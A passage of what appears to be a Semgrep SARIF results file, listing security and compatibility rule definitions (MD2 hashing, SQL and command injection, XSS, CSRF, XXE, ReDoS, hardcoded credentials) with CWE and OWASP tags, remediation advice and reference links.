instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","id":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","name":"python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md2.insecure-hash-algorithm-md2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"help":{"markdown":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn)\n","text":"Found usage of the 'blocksize' argument in a HTTPSConnection call. This is only available on Python 3.7+ and is therefore not backwards compatible. Remove this in order for this code to work in Python 3.6 and below."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-httpsconn","id":"python.lang.compatibility.python37.python37-compatibility-httpsconn","name":"python.lang.compatibility.python37.python37-compatibility-httpsconn","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-httpsconn"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"help":{"markdown":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Hardcoded password is used as a default argument to '$FUNC'. This could be dangerous if a real password is not supplied."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","id":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","name":"python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.hardcoded-password-default-argument.hardcoded-password-default-argument"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"GitHub Token detected"},"help":{"markdown":"GitHub Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"GitHub Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-github-token.detected-github-token","id":"generic.secrets.security.detected-github-token.detected-github-token","name":"generic.secrets.security.detected-github-token.detected-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-github-token.detected-github-token"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","id":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","name":"python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-missing.fastapi-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"help":{"markdown":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request)\n - [https://www.php.net/manual/en/function.htmlentities.php](https://www.php.net/manual/en/function.htmlentities.php)\n - [https://www.php.net/manual/en/reserved.variables.request.php](https://www.php.net/manual/en/reserved.variables.request.php)\n - [https://www.php.net/manual/en/reserved.variables.post.php](https://www.php.net/manual/en/reserved.variables.post.php)\n - [https://www.php.net/manual/en/reserved.variables.get.php](https://www.php.net/manual/en/reserved.variables.get.php)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"`Printing user input risks cross-site scripting vulnerability. You should use `htmlentities()` when showing data to users."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.printed-request.printed-request","id":"php.lang.security.injection.printed-request.printed-request","name":"php.lang.security.injection.printed-request.printed-request","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.printed-request.printed-request"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf)\n - [https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html](https://django-crispy-forms.readthedocs.io/en/latest/form_helper.html)\n - [https://docs.djangoproject.com/en/5.0/ref/csrf/](https://docs.djangoproject.com/en/5.0/ref/csrf/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/csrf](https://owasp.org/www-community/attacks/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","id":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","name":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"help":{"markdown":"Running flask app with host 0.0.0.0 could expose the server publicly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Running flask app with host 0.0.0.0 could expose the server publicly."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","id":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","name":"python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-param-config.avoid_app_run_with_bad_host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","id":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","name":"go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pgx-sqli-taint-med-conf.pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"help":{"markdown":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization)\n - [https://www.npmjs.com/package/dompurify](https://www.npmjs.com/package/dompurify)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Detected a call to `$FUNC()` in an attempt to HTML escape the string `$STR`. Manually sanitizing input through a manually built list can be circumvented in many situations, and it's better to use a well known sanitization library such as `sanitize-html` or `DOMPurify`."},"helpUri":"https://semgrep.dev/r/javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","id":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","name":"javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.audit.detect-replaceall-sanitization.detect-replaceall-sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"help":{"markdown":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0)\n","text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli)\n - [https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql](https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","id":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","name":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","id":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","name":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-jsp-eval.spring-jsp-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","id":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","name":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","id":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","name":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express)\n - [https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values](https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express","id":"javascript.express.db.mysql-express.mysql-express","name":"javascript.express.db.mysql-express.mysql-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mysql-express.mysql-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","id":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","name":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - 